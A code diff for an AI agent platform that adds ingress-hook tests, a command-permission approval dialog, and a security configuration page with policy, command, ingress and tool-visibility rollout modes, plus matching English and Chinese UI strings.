test_service_runtime_invoke_builds_real_tool_context( assert run_workflow_mock.call_args.kwargs["tool_context"] is tool_context +def test_service_runtime_passes_opaque_ingress_context_to_workflow_tool_context( + monkeypatch, +) -> None: + """The service transports hook context without interpreting its contents.""" + observed = [] + + class TransferIngress(HookBase): + async def ingress_before(self, _ctx): + return {"context": {"workflow_transfer": "opaque-token"}} + + HookPipeline.reset() + HookPipeline._initialized = True + HookPipeline.register("transfer-ingress", TransferIngress()) + monkeypatch.setattr(service_runtime.MCP, "init", AsyncMock()) + monkeypatch.setattr( + service_runtime, + "get_manager", + lambda: SimpleNamespace(shutdown=AsyncMock()), + ) + + async def build_context(**kwargs): + observed.append(kwargs) + return ToolContext(session_id="session-1", message_id="message-1") + + monkeypatch.setattr(service_runtime, "build_workflow_tool_context", build_context) + monkeypatch.setattr( + service_runtime, + "run_workflow", + Mock(return_value=SimpleNamespace(status="SUCCEEDED", run_id="r", outputs={}, error=None)), + ) + app = service_runtime.create_service_app( + workflow_json={"id": "wf-1", "start": "node-1", "nodes": [], "edges": []}, + workflow_id="wf-1", + release_id="rel-1", + ) + + try: + with TestClient(app, raise_server_exceptions=True) as client: + response = client.post("/invoke", json={"inputs": {}}) + finally: + HookPipeline.reset() + + assert response.status_code == 200 + assert observed == [ + { + "workflow_id": "wf-1", + "action_name": "invoke", + "execution_context": {"workflow_transfer": "opaque-token"}, + } + ] + + def test_service_runtime_requires_api_key_when_configured( monkeypatch, ) -> None: @@ -175,3 +229,58 @@ def test_service_runtime_requires_api_key_when_configured( assert allowed.json()["status"] == "SUCCEEDED" build_context_mock.assert_awaited_once() run_workflow_mock.assert_called_once() + + +def test_service_runtime_emits_only_api_key_fingerprint_at_headless_ingress( + monkeypatch, +) -> None: + observed = [] + + class IngressRecorder(HookBase): + async def ingress_before(self, ctx): + observed.append(dict(ctx.input)) + + api_key = "service-api-key-not-for-hooks" + key_id = f"sha256:{hashlib.sha256(api_key.encode('utf-8')).hexdigest()}" + HookPipeline.reset() + HookPipeline._initialized = True + HookPipeline.register("ingress-recorder", IngressRecorder()) + monkeypatch.setattr(service_runtime.MCP, "init", AsyncMock()) + monkeypatch.setattr( + service_runtime, + "get_manager", + lambda: SimpleNamespace(shutdown=AsyncMock()), + ) + monkeypatch.setattr( + service_runtime, + "build_workflow_tool_context", + AsyncMock(return_value=ToolContext(session_id="s", message_id="m")), + ) + monkeypatch.setattr( + service_runtime, + "run_workflow", + Mock(return_value=SimpleNamespace(status="SUCCEEDED", run_id="r", outputs={}, error=None)), + ) + app = service_runtime.create_service_app( + workflow_json={"id": "wf-1", "start": "node-1", "nodes": [], "edges": []}, + workflow_id="wf-1", + release_id="rel-1", + api_key=api_key, + ) + + try: + with TestClient(app, raise_server_exceptions=True) as client: + response = client.post( + "/invoke", + json={"inputs": {"value": "raw-input"}}, + headers={"x-api-key": api_key}, + ) + finally: + HookPipeline.reset() + + assert response.status_code == 200 + assert observed[0]["evidence"] == { + "auth_scheme": "api_key", + "api_key_id": key_id, + } + assert api_key not in repr(observed[0]) diff --git a/tests/workflow/test_workflow_tool_context.py b/tests/workflow/test_workflow_tool_context.py index cd5a00c01..2fa4425f8 100644 --- a/tests/workflow/test_workflow_tool_context.py +++ b/tests/workflow/test_workflow_tool_context.py @@ -144,3 +144,22 @@ async def test_cleanup_workflow_tool_context_preserves_parent_with_child_session assert cleaned is False assert await Session.get_by_id(parent.id) is not None assert await Session.get_by_id(child.id) is not None + + +@pytest.mark.asyncio +async def test_build_workflow_tool_context_carries_opaque_execution_context( + tmp_path: Path, + isolated_storage, + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.chdir(tmp_path) + + tool_context = await build_workflow_tool_context( + workflow_id="wf-1", + action_name="schedule", + execution_context={"workflow_transfer": "opaque-token"}, + ) + + assert tool_context.extra["execution_context"] == { + "workflow_transfer": "opaque-token" + } diff --git a/webui/src/api/flocksproPolicy.ts b/webui/src/api/flocksproPolicy.ts new file mode 100644 index 000000000..bd609674a --- /dev/null +++ b/webui/src/api/flocksproPolicy.ts @@ -0,0 +1,21 @@ +import client from './client'; + +export type PermissionMode = 'readonly' | 'require-confirm' | 'auto-allow-all'; + +export type PermissionModeResponse = { + permissionMode: PermissionMode | null; + revision: number; + updatedAt?: string; + updatedBy?: string; +}; + +export const flocksproPolicyApi = { + getChannel: async (channelId: string): Promise => + (await client.get(`/api/flockspro/policy/channels/${encodeURIComponent(channelId)}/permission-mode`)).data, + setChannel: async (channelId: string, permissionMode: PermissionMode): Promise => + (await client.put(`/api/flockspro/policy/channels/${encodeURIComponent(channelId)}/permission-mode`, { permissionMode })).data, + getSession: async (sessionId: string): Promise => + (await client.get(`/api/flockspro/policy/sessions/${encodeURIComponent(sessionId)}/permission-mode`)).data, + setSession: async (sessionId: string, permissionMode: PermissionMode): Promise => + (await client.patch(`/api/flockspro/policy/sessions/${encodeURIComponent(sessionId)}/permission-mode`, { permissionMode })).data, +}; diff --git a/webui/src/api/flocksproSecurity.ts b/webui/src/api/flocksproSecurity.ts new file mode 100644 index 000000000..8d61dac93 --- /dev/null +++ b/webui/src/api/flocksproSecurity.ts @@ -0,0 +1,40 @@ +import client from './client'; + +export type RolloutMode = 'shadow' | 'enforce'; +export type IngressRolloutMode = 'disabled' | 'shadow' | 'enforce'; + +export interface SecurityOverview { + rollout: { + effective: { + policy: RolloutMode; + command: RolloutMode; + ingress: IngressRolloutMode; + visibility: RolloutMode; + }; + source: string; + }; + hardDeny: { + systemRuleIds: string[]; + }; + readonlyCeiling: { + denyPatterns: string[]; + }; + audit: { + webhookConfigured: boolean; + }; +} + +export const flocksproSecurityApi = { + getOverview: async (): Promise => + (await client.get('/api/flockspro/policy/security/overview')).data, + setRollout: async (payload: { + policy: RolloutMode; + command: RolloutMode; + ingress: IngressRolloutMode; + visibility: RolloutMode; + }): Promise<{ + effective: SecurityOverview['rollout']['effective']; + source: string; + message: string; + }> => (await client.put('/api/flockspro/policy/security/rollout', payload)).data, +}; diff --git a/webui/src/api/index.ts b/webui/src/api/index.ts index 2f255f899..a1663fbcb 100644 --- a/webui/src/api/index.ts +++ b/webui/src/api/index.ts @@ -7,6 +7,7 @@ export * from './skill'; export * from './monitoring'; export * from './tool'; export * from './provider'; +export * from './permission'; export * from './mcp'; export * from './hub'; export * from './webuiContractPages'; diff --git a/webui/src/api/permission.test.ts b/webui/src/api/permission.test.ts new file mode 100644 index 000000000..bc9c6ccd6 --- /dev/null +++ b/webui/src/api/permission.test.ts @@ -0,0 +1,38 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +const mockGet = vi.fn(); +const mockPost = vi.fn(); + +vi.mock('./client', () => ({ + default: { + get: (...args: unknown[]) => mockGet(...args), + post: (...args: unknown[]) => mockPost(...args), + }, +})); + +describe('permissionApi', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it('lists pending approval requests', async () => { + const permissions = [{ id: 'permission-1', sessionID: 'session-1' }]; + mockGet.mockResolvedValue({ data: permissions }); + const { permissionApi } = await import('./permission'); + + await expect(permissionApi.list()).resolves.toEqual(permissions); + expect(mockGet).toHaveBeenCalledWith('/permission'); + }); + + it('submits the selected reply protocol', async () => { + mockPost.mockResolvedValue({ data: { success: true } }); + const { permissionApi } = await import('./permission'); + + await permissionApi.reply('permission/1', { allow: true, always: true }); + + expect(mockPost).toHaveBeenCalledWith('/permission/permission%2F1/reply', { + allow: true, + always: true, + }); + }); +}); diff --git a/webui/src/api/permission.ts b/webui/src/api/permission.ts new file mode 100644 index 000000000..9e6d7959a --- /dev/null +++ b/webui/src/api/permission.ts @@ -0,0 +1,32 @@ +import client from './client'; + +export interface PendingPermission { + id: string; + sessionID: string; + messageID: string; + toolID: string; + permission: string; + patterns: string[]; + always: string[]; + metadata: Record; + time: { created: number }; +} + +export interface PermissionReply { + allow: boolean; + always?: boolean; +} + +export const permissionApi = { + list: async (): Promise => { + const response = await client.get('/permission'); + return response.data; + }, + + reply: async ( + permissionId: string, + reply: PermissionReply, + ): Promise => { + await client.post(`/permission/${encodeURIComponent(permissionId)}/reply`, reply); + }, +}; diff --git a/webui/src/components/common/PermissionApprovalDialog.test.tsx b/webui/src/components/common/PermissionApprovalDialog.test.tsx new file mode 100644 index 000000000..640367959 --- /dev/null +++ b/webui/src/components/common/PermissionApprovalDialog.test.tsx @@ -0,0 +1,52 @@ +import { render, screen } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; +import { describe, expect, it, vi } from 'vitest'; + +import { PermissionApprovalDialog } from './PermissionApprovalDialog'; + +const request = { + id: 'permission-1', + sessionID: 'session-1', + messageID: '', + toolID: 'bash', + permission: 'bash', + patterns: ['bash:canonical:abc123'], + always: [], + metadata: { command: 'git add .' }, + time: { created: 1 }, +}; + +describe('PermissionApprovalDialog', () => { + it('shows the policy request details and allows a one-time decision', async () => { + const user = userEvent.setup(); + const onReply = vi.fn(); + render(); + + expect(screen.getByRole('alertdialog')).toHaveTextContent('$ git add .'); + await user.click(screen.getByRole('button', { name: '允许一次' })); + + expect(onReply).toHaveBeenCalledWith('allow'); + }); + + it('exposes reject and always-allow decisions', async () => { + const user = userEvent.setup(); + const onReply = vi.fn(); + render(); + + await user.click(screen.getByRole('button', { name: '始终允许此类命令' })); + await user.click(screen.getByRole('button', { name: '拒绝' })); + + expect(onReply).toHaveBeenNthCalledWith(1, 'always'); + expect(onReply).toHaveBeenNthCalledWith(2, 'deny'); + }); + + it('treats Escape as a rejection', async () => { + const user = userEvent.setup(); + const onReply = vi.fn(); + render(); + + await user.keyboard('{Escape}'); + + expect(onReply).toHaveBeenCalledWith('deny'); + }); +}); diff --git a/webui/src/components/common/PermissionApprovalDialog.tsx b/webui/src/components/common/PermissionApprovalDialog.tsx new file mode 100644 index 000000000..f114a2d80 --- /dev/null +++ b/webui/src/components/common/PermissionApprovalDialog.tsx @@ -0,0 +1,90 @@ +import { useEffect } from 'react'; +import { AlertTriangle, Loader2, ShieldCheck } from 'lucide-react'; +import type { PendingPermission } from '@/api/permission'; + +export type PermissionDecision = 'allow' | 'always' | 'deny'; + +interface PermissionApprovalDialogProps { + request: PendingPermission | null; + submitting?: boolean; + error?: string | null; + onReply: (decision: PermissionDecision) => void; +} + +export function PermissionApprovalDialog({ + request, + submitting = false, + error, + onReply, +}: PermissionApprovalDialogProps) { + useEffect(() => { + if (!request || submitting) return; + + const rejectOnEscape = (event: KeyboardEvent) => { + if (event.key === 'Escape') onReply('deny'); + }; + window.addEventListener('keydown', rejectOnEscape); + return () => window.removeEventListener('keydown', rejectOnEscape); + }, [request, submitting, onReply]); + + if (!request) return null; + + const command = typeof request.metadata.command === 'string' + ? request.metadata.command.trim() + : ''; + const description = command || request.toolID || request.permission; + + return ( +
+
+ +
+
+
+ 需要确认执行 +
+ + $ {description} + +
+
+ + + +
+ {error && ( +

+ {error} +

+ )} +
+ ); +} diff --git a/webui/src/locales/en-US/channel.json b/webui/src/locales/en-US/channel.json index 7d52e2c7d..e12149904 100644 --- a/webui/src/locales/en-US/channel.json +++ b/webui/src/locales/en-US/channel.json @@ -78,6 +78,22 @@ "restartHint": "Manually stop and re-establish the long connection", "restartSuccess": "{{channel}} restarted", "restartFailed": "Restart failed", + "security": { + "defaultAgent": "Default Agent", + "defaultAgentHint": "Must be one of visible agents; falls back to system default when unset", + "defaultAgentEmpty": "Unset (use system default)", + "visibleAgents": "Visible Agents", + "visibleAgentsHint": "Only these agents can be selected in this channel session (empty means no restriction)", + "visibleAgentsPlaceholder": "Select and add visible agents", + "visibleAgentsEmpty": "No restriction, all chat-available agents are selectable", + "visibleAgentsSelectedCount": "{{first}}, {{second}}, and {{count}} selected", + "visibleAgentsNoOptions": "No agents available", + "permissionMode": "Permission Mode", + "permissionModeHint": "Default permission mode for this channel session; it can also be changed from the Session page.", + "permissionModeReadonly": "readonly (block command execution)", + "permissionModeRequireConfirm": "require-confirm", + "permissionModeAutoConfirmAll": "auto-allow-all" + }, "empty": { "title": "No Channels", "description": "No registered IM channel plugins detected.", diff --git a/webui/src/locales/en-US/flockspro.json b/webui/src/locales/en-US/flockspro.json index 9b0735ec1..7b63bd189 100644 --- a/webui/src/locales/en-US/flockspro.json +++ b/webui/src/locales/en-US/flockspro.json @@ -221,5 +221,50 @@ "forbidden": "Only admins can view audit logs", "unavailable": "Audit logs are not available in this edition" } + }, + "security": { + "title": "Security Config", + "description": "Manage the enterprise security path: identity ingress → tool visibility → policy/command enforcement.", + "loading": "Loading security configuration...", + "actions": { + "viewAudit": "View Audit Logs", + "saveRollout": "Save Rollout" + }, + "sections": { + "rollout": "Rollout Modes", + "rolloutDescription": "These four switches control different stages of the security path and can be enabled independently for staged rollout. When rollout env vars are unset, all modes default to enforce. Changes take effect immediately after saving.", + "permissionBaseline": "Permission Baseline", + "permissionBaselineDescription": "Default permission modes for sessions created from different entry points. Fixed by the system and not editable here.", + "baseline": "System Baseline", + "baselineDescription": "System hard-deny rules and the readonly capability ceiling. View-only; administrators cannot relax them." + }, + "labels": { + "policyRollout": "Tool Enforcement", + "commandRollout": "Command Enforcement", + "ingressRollout": "Identity Ingress", + "visibilityRollout": "Tool Visibility", + "channelDefaultMode": "Channel-created sessions", + "uiDefaultMode": "UI-created sessions", + "hardDeny": "Commands always denied by the system", + "readonlyCeiling": "Tools hidden in readonly mode" + }, + "hints": { + "policyRollout": "Controls whether general policy decisions (file I/O, workflow actions, high-risk tools, etc.) actually block requests. Audit only: evaluate and audit without blocking. Enforce: deny/confirm decisions stop execution.", + "commandRollout": "Controls shell/command tools only (bash, shell, cmd, PowerShell, SSH commands, etc.). Can be enabled separately from policy enforcement—for example, enforce commands first while leaving other tools in audit-only mode.", + "ingressRollout": "Controls whether Channel, HTTP, and workflow entry points require a valid identity. Off: skip ingress identity checks. Audit only: resolve identity but do not block. Enforce: reject entry when no valid identity is available.", + "visibilityRollout": "Controls which tools the AI can use under the current security policy. For example, in readonly mode, the agent cannot see hidden tools. Audit only: still show all tools, and only record which ones would be hidden. Enforce: actually hide those tools." + }, + "modes": { + "disabled": "Off", + "shadow": "Audit only", + "enforce": "Enforce" + }, + "messages": { + "rolloutSaved": "Rollout saved and applied immediately" + }, + "errors": { + "loadFailed": "Failed to load security config", + "rolloutSaveFailed": "Failed to save rollout" + } } } diff --git a/webui/src/locales/en-US/nav.json b/webui/src/locales/en-US/nav.json index e5fe0542f..2c5ef4681 100644 --- a/webui/src/locales/en-US/nav.json +++ b/webui/src/locales/en-US/nav.json @@ -18,6 +18,7 @@ "management": "System Center", "systemCenter": "System Center", "accountManagement": "Account", + "securityConfig": "Security Config", "systemLog": "System Logs", "flocksproUpgrade": "Upgrade", "checkUpdate": "Check for updates", diff --git a/webui/src/locales/zh-CN/channel.json b/webui/src/locales/zh-CN/channel.json index 6f25f1387..e858f104e 100644 --- a/webui/src/locales/zh-CN/channel.json +++ b/webui/src/locales/zh-CN/channel.json @@ -78,6 +78,22 @@ "restartHint": "手动停止并重新建立长连接", "restartSuccess": "{{channel}} 已重启", "restartFailed": "重启失败", + "security": { + "defaultAgent": "默认 Agent", + "defaultAgentHint": "必须为可见 Agent 之一；未设置时按系统默认", + "defaultAgentEmpty": "不指定（使用系统默认）", + "visibleAgents": "可见 Agent", + "visibleAgentsHint": "仅允许在该 channel session 中选择这些 Agent（留空表示不限制）", + "visibleAgentsPlaceholder": "下拉选择并添加可见 Agent", + "visibleAgentsEmpty": "未限制，可选择全部可用 Agent", + "visibleAgentsSelectedCount": "{{first}}、{{second}} 等 {{count}} 个", + "visibleAgentsNoOptions": "暂无可选 Agent", + "permissionMode": "权限模式", + "permissionModeHint": "该 channel session 的默认权限模式；Session 页面也可以单独调整。", + "permissionModeReadonly": "readonly（禁止命令执行）", + "permissionModeRequireConfirm": "require-confirm（按需确认）", + "permissionModeAutoConfirmAll": "auto-allow-all（自动确认）" + }, "empty": { "title": "暂无通道", "description": "没有检测到已注册的 IM 通道插件。", diff --git a/webui/src/locales/zh-CN/flockspro.json b/webui/src/locales/zh-CN/flockspro.json index 53b2c239e..5e334fb5a 100644 --- a/webui/src/locales/zh-CN/flockspro.json +++ b/webui/src/locales/zh-CN/flockspro.json @@ -221,5 +221,50 @@ "forbidden": "仅管理员可查看审计日志", "unavailable": "当前版本不支持审计日志" } + }, + "security": { + "title": "安全配置", + "description": "管理企业安全链路：身份入口 → 工具可见性 → 策略/命令执行。", + "loading": "正在加载安全配置...", + "actions": { + "viewAudit": "查看审计日志", + "saveRollout": "保存运行模式" + }, + "sections": { + "rollout": "运行模式", + "rolloutDescription": "四个开关分别控制安全链路的不同阶段，可独立开启以便分阶段上线。未配置环境变量时默认全部为启用管控；保存后立即生效。", + "permissionBaseline": "执行权限基线", + "permissionBaselineDescription": "不同入口创建会话时的默认权限模式，由系统固定，不可在此页修改。", + "baseline": "系统安全基线", + "baselineDescription": "系统硬拒绝规则与只读模式下的能力上限，仅可查看，管理员不可放宽。" + }, + "labels": { + "policyRollout": "工具执行", + "commandRollout": "命令执行", + "ingressRollout": "身份入口", + "visibilityRollout": "工具可见性", + "channelDefaultMode": "通道创建会话", + "uiDefaultMode": "UI 创建会话", + "hardDeny": "系统始终拒绝执行的命令", + "readonlyCeiling": "readonly 模式下被隐藏的工具" + }, + "hints": { + "policyRollout": "决定通用策略（文件读写、工作流动作、高风险工具等）是否真正拦截。仅审计：照样计算并写审计，但不阻断；启用管控：deny/需确认会真正停下。", + "commandRollout": "专门控制 Shell/命令类操作（bash、shell、cmd、PowerShell、SSH 命令等）。可与策略执行分开开启，例如只先管控命令、其它仍仅审计。", + "ingressRollout": "控制 Channel、HTTP、工作流等入口是否要求有效身份。关闭：不做入口身份校验；仅审计：解析身份但不挡请求；启用管控：无有效身份时直接拒绝进入。", + "visibilityRollout": "按安全策略决定 AI 当前能使用哪些工具。例如 readonly 模式下，Agent 不可见被隐藏的工具。仅审计：仍全部展示，只记录本应隐藏的工具；启用管控：真正隐藏这些工具。" + }, + "modes": { + "disabled": "关闭", + "shadow": "仅审计", + "enforce": "启用管控" + }, + "messages": { + "rolloutSaved": "运行模式已保存并立即生效" + }, + "errors": { + "loadFailed": "加载安全配置失败", + "rolloutSaveFailed": "保存运行模式失败" + } } } diff --git a/webui/src/locales/zh-CN/nav.json b/webui/src/locales/zh-CN/nav.json index dcf0c076d..1bbcb1376 100644 --- a/webui/src/locales/zh-CN/nav.json +++ b/webui/src/locales/zh-CN/nav.json @@ -18,6 +18,7 @@ "management": "系统中心", "systemCenter": "系统中心", "accountManagement": "账号管理", + "securityConfig": "安全配置", "systemLog": "系统日志", "flocksproUpgrade": "升级", "checkUpdate": "检查更新", diff --git a/webui/src/pages/AuditLogs/index.tsx b/webui/src/pages/AuditLogs/index.tsx index 7fe0e0436..e304c0407 100644 --- a/webui/src/pages/AuditLogs/index.tsx +++ b/webui/src/pages/AuditLogs/index.tsx @@ -47,10 +47,7 @@ function formatLocalTime(value: string): string { } function payloadPreview(item: AuditEventItem): string { - const data = item.payload ?? item.metadata ?? {}; - const serialized = JSON.stringify(data, null, 2); - if (!serialized || serialized === '{}') return '-'; - return serialized.length > 260 ? `${serialized.slice(0, 257)}...` : serialized; + return payloadFullText(item); } function payloadFullText(item: AuditEventItem): string { diff --git a/webui/src/pages/Channel/index.tsx b/webui/src/pages/Channel/index.tsx index 15f596193..646a585c5 100644 --- a/webui/src/pages/Channel/index.tsx +++ b/webui/src/pages/Channel/index.tsx @@ -1,4 +1,4 @@ -import { useState, useEffect, useCallback, useRef } from 'react'; +import { useState, useEffect, useCallback, useRef, useMemo } from 'react'; import { QRCodeSVG } from 'qrcode.react'; import { Radio, @@ -29,6 +29,10 @@ import EmptyState from '@/components/common/EmptyState'; import ChannelIcon from '@/components/common/ChannelIcon'; import { useToast } from '@/components/common/Toast'; import client from '@/api/client'; +import { useAgents } from '@/hooks/useAgents'; +import { getAgentDisplayName, isAgentUsableInChat } from '@/utils/agentDisplay'; +import { flocksproPolicyApi, type PermissionMode } from '@/api/flocksproPolicy'; +import { flocksproUsersApi } from '@/api/flocksproUsers'; // ============================================================================ // Types @@ -71,7 +75,17 @@ interface FeishuAccountConfig { verificationToken?: string; } -interface FeishuChannelConfig { +interface ChannelScopedSecurityConfig { + defaultAgent?: string; + visibleAgents?: string[]; +} + +interface AgentOption { + value: string; + label: string; +} + +interface FeishuChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; appId?: string; appSecret?: string; @@ -79,7 +93,6 @@ interface FeishuChannelConfig { domain?: 'feishu' | 'lark'; encryptKey?: string; verificationToken?: string; - defaultAgent?: string; dmPolicy?: string; groupTrigger?: string; allowFrom?: string[]; @@ -93,12 +106,11 @@ interface FeishuChannelConfig { groups?: Record; } -interface WeComChannelConfig { +interface WeComChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; botId?: string; secret?: string; websocketUrl?: string; - defaultAgent?: string; dmPolicy?: string; groupTrigger?: string; allowFrom?: string[]; @@ -107,21 +119,19 @@ interface WeComChannelConfig { rateBurst?: number; } -interface DingTalkChannelConfig { +interface DingTalkChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; clientId?: string; clientSecret?: string; - defaultAgent?: string; debug?: boolean; allowFrom?: string[]; } -interface TelegramChannelConfig { +interface TelegramChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; botToken?: string; mode?: 'polling' | 'webhook'; webhookSecret?: string; - defaultAgent?: string; groupTrigger?: string; allowFrom?: string[]; mentionContextMessages?: number; @@ -343,13 +353,12 @@ function applyEmailHostPreset( return next; } -interface WeixinChannelConfig { +interface WeixinChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; token?: string; accountId?: string; baseUrl?: string; cdnBaseUrl?: string; - defaultAgent?: string; dmPolicy?: string; allowFrom?: string[]; groupPolicy?: string; @@ -817,6 +826,162 @@ function TagsInput({ ); } +function ChannelSecurityFields({ + defaultAgent, + visibleAgents, + agentOptions, + onDefaultAgentChange, + onVisibleAgentsChange, +}: { + defaultAgent?: string; + visibleAgents?: string[]; + agentOptions: AgentOption[]; + onDefaultAgentChange: (agent: string | undefined) => void; + onVisibleAgentsChange: (agents: string[] | undefined) => void; +}) { + const { t } = useTranslation('channel'); + const selectedVisibleAgents = visibleAgents ?? []; + const [visibleAgentOpen, setVisibleAgentOpen] = useState(false); + const visibleAgentRef = useRef(null); + const selectedVisibleSet = useMemo( + () => new Set(selectedVisibleAgents), + [selectedVisibleAgents], + ); + const defaultAgentOptions = useMemo(() => { + if (selectedVisibleAgents.length === 0) return agentOptions; + const selectedSet = new Set(selectedVisibleAgents); + return agentOptions.filter((item) => selectedSet.has(item.value)); + }, [agentOptions, selectedVisibleAgents]); + const visibleAgentSummary = useMemo(() => { + if (selectedVisibleAgents.length === 0) return t('security.visibleAgentsEmpty'); + const labels = selectedVisibleAgents + .map((name) => agentOptions.find((item) => item.value === name)?.label ?? name); + if (labels.length <= 2) return labels.join(', '); + return t('security.visibleAgentsSelectedCount', { count: labels.length, first: labels[0], second: labels[1] }); + }, [agentOptions, selectedVisibleAgents, t]); + + useEffect(() => { + if (!visibleAgentOpen) return; + const onDocumentMouseDown = (event: MouseEvent) => { + const target = event.target as Node; + if (visibleAgentRef.current?.contains(target)) return; + setVisibleAgentOpen(false); + }; + document.addEventListener('mousedown', onDocumentMouseDown); + return () => document.removeEventListener('mousedown', onDocumentMouseDown); + }, [visibleAgentOpen]); + + useEffect(() => { + if (!defaultAgent) return; + if (defaultAgentOptions.some((item) => item.value === defaultAgent)) return; + if (defaultAgentOptions.length > 0) { + onDefaultAgentChange(defaultAgentOptions[0].value); + return; + } + onDefaultAgentChange(undefined); + }, [defaultAgent, defaultAgentOptions, onDefaultAgentChange]); + + const toggleVisibleAgent = (agentName: string) => { + const next = selectedVisibleSet.has(agentName) + ? selectedVisibleAgents.filter((item) => item !== agentName) + : [...selectedVisibleAgents, agentName]; + onVisibleAgentsChange(next.length > 0 ? next : undefined); + }; + + return ( + <> + + toggleVisibleAgent(item.value)} + className="h-4 w-4 rounded border-gray-300 text-red-600 focus:ring-red-500" + /> + {item.label} ({item.value}) + + )) + )} + + )} + + + + ); +} + +function ProChannelPermissionModeField({ channelId }: { channelId: string }) { + const { t } = useTranslation('channel'); + const [enabled, setEnabled] = useState(false); + const [mode, setMode] = useState('require-confirm'); + + useEffect(() => { + let active = true; + void flocksproUsersApi.hasCapability().then((available) => { + if (!active) return; + setEnabled(available); + if (available) { + void flocksproPolicyApi.getChannel(channelId) + .then((result) => active && setMode(result.permissionMode ?? 'require-confirm')) + .catch(() => active && setEnabled(false)); + } + }); + return () => { active = false; }; + }, [channelId]); + + if (!enabled) return null; + return ( + + void; } -function WeComPanel({ config, onChange }: WeComPanelProps) { +function WeComPanel({ config, agentOptions, onChange }: WeComPanelProps) { const { t } = useTranslation('channel'); const set = useCallback( (key: K, value: WeComChannelConfig[K]) => @@ -1475,13 +1642,13 @@ function WeComPanel({ config, onChange }: WeComPanelProps) {
- - set('defaultAgent', v || undefined)} - placeholder={t('wecom.optional')} - /> - + set('defaultAgent', v)} + onVisibleAgentsChange={(v) => set('visibleAgents', v)} + /> {t('wecom.triggerMention')} @@ -1529,10 +1696,11 @@ function WeComPanel({ config, onChange }: WeComPanelProps) { interface DingTalkPanelProps { config: DingTalkChannelConfig; + agentOptions: AgentOption[]; onChange: (c: DingTalkChannelConfig) => void; } -function DingTalkPanel({ config, onChange }: DingTalkPanelProps) { +function DingTalkPanel({ config, agentOptions, onChange }: DingTalkPanelProps) { const { t } = useTranslation('channel'); const set = useCallback( (key: K, value: DingTalkChannelConfig[K]) => @@ -1564,13 +1732,13 @@ function DingTalkPanel({ config, onChange }: DingTalkPanelProps) {
- - set('defaultAgent', v || undefined)} - placeholder={t('dingtalk.optional')} - /> - + set('defaultAgent', v)} + onVisibleAgentsChange={(v) => set('visibleAgents', v)} + /> void; onRefresh?: () => void; } -function TelegramPanel({ config, onChange, onRefresh }: TelegramPanelProps) { +function TelegramPanel({ config, agentOptions, onChange, onRefresh }: TelegramPanelProps) { const { t } = useTranslation('channel'); const toast = useToast(); const set = useCallback( @@ -1742,13 +1911,13 @@ function TelegramPanel({ config, onChange, onRefresh }: TelegramPanelProps) { {/* ── Message Behavior ── */}
- - set('defaultAgent', v || undefined)} - placeholder={t('telegram.optional')} - /> - + set('defaultAgent', v)} + onVisibleAgentsChange={(v) => set('visibleAgents', v)} + /> ([]); const [statuses, setStatuses] = useState>({}); @@ -3160,6 +3331,16 @@ export default function ChannelPage() { const [refreshingStatus, setRefreshingStatus] = useState(false); const [refreshDone, setRefreshDone] = useState(false); + const chatAgentOptions = useMemo(() => { + return agents + .filter((agent) => isAgentUsableInChat(agent)) + .map((agent) => ({ + value: agent.name, + label: getAgentDisplayName(agent, i18n.language) || agent.name, + })) + .sort((a, b) => a.label.localeCompare(b.label)); + }, [agents, i18n.language]); + // Track unsaved changes per channel const originalConfigsRef = useRef>({}); const toggleInFlightRef = useRef(false); @@ -3562,24 +3743,28 @@ export default function ChannelPage() { {selectedId === 'feishu' && ( handleChannelConfigChange('feishu', cfg)} /> )} {selectedId === 'wecom' && ( handleChannelConfigChange('wecom', cfg)} /> )} {selectedId === 'dingtalk' && ( handleChannelConfigChange('dingtalk', cfg)} /> )} {selectedId === 'telegram' && ( handleChannelConfigChange('telegram', cfg)} onRefresh={fetchAll} /> @@ -3606,10 +3791,12 @@ export default function ChannelPage() { {selectedId === 'weixin' && ( handleChannelConfigChange('weixin', cfg)} onQrLoginSuccess={handleWeixinQrSuccess} /> )} + ) : ( diff --git a/webui/src/pages/SecurityConfig/index.tsx b/webui/src/pages/SecurityConfig/index.tsx new file mode 100644 index 000000000..658e9922f --- /dev/null +++ b/webui/src/pages/SecurityConfig/index.tsx @@ -0,0 +1,309 @@ +import { useEffect, useMemo, useState } from 'react'; +import type { ReactNode } from 'react'; +import { Link } from 'react-router-dom'; +import { + Check, + EyeOff, + KeyRound, + Loader2, + Monitor, + Radio, + Save, + Shield, + ShieldAlert, + Terminal, + type LucideIcon, +} from 'lucide-react'; +import { useTranslation } from 'react-i18next'; + +import PageHeader from '@/components/common/PageHeader'; +import { useToast } from '@/components/common/Toast'; +import { + flocksproSecurityApi, + type IngressRolloutMode, + type RolloutMode, + type SecurityOverview, +} from '@/api/flocksproSecurity'; + +function Card({ + title, + description, + action, + children, +}: { + title: string; + description: string; + action?: ReactNode; + children: ReactNode; +}) { + return ( +
+
+
+

{title}

+

{description}

+
+ {action ?
{action}
: null} +
+
{children}
+
+ ); +} + +function ConfigRow({ + icon: Icon, + title, + description, + children, +}: { + icon: LucideIcon; + title: string; + description: string; + children: ReactNode; +}) { + return ( +
+ + + +
+
{title}
+

{description}

+
+
{children}
+
+ ); +} + +function ModeSegmented({ + value, + options, + onChange, +}: { + value: string; + options: Array<{ label: string; value: string }>; + onChange: (value: string) => void; +}) { + const columns = options.length === 3 ? 'grid-cols-3' : 'grid-cols-2'; + return ( +
+ {options.map((option) => { + const active = option.value === value; + return ( + + ); + })} +
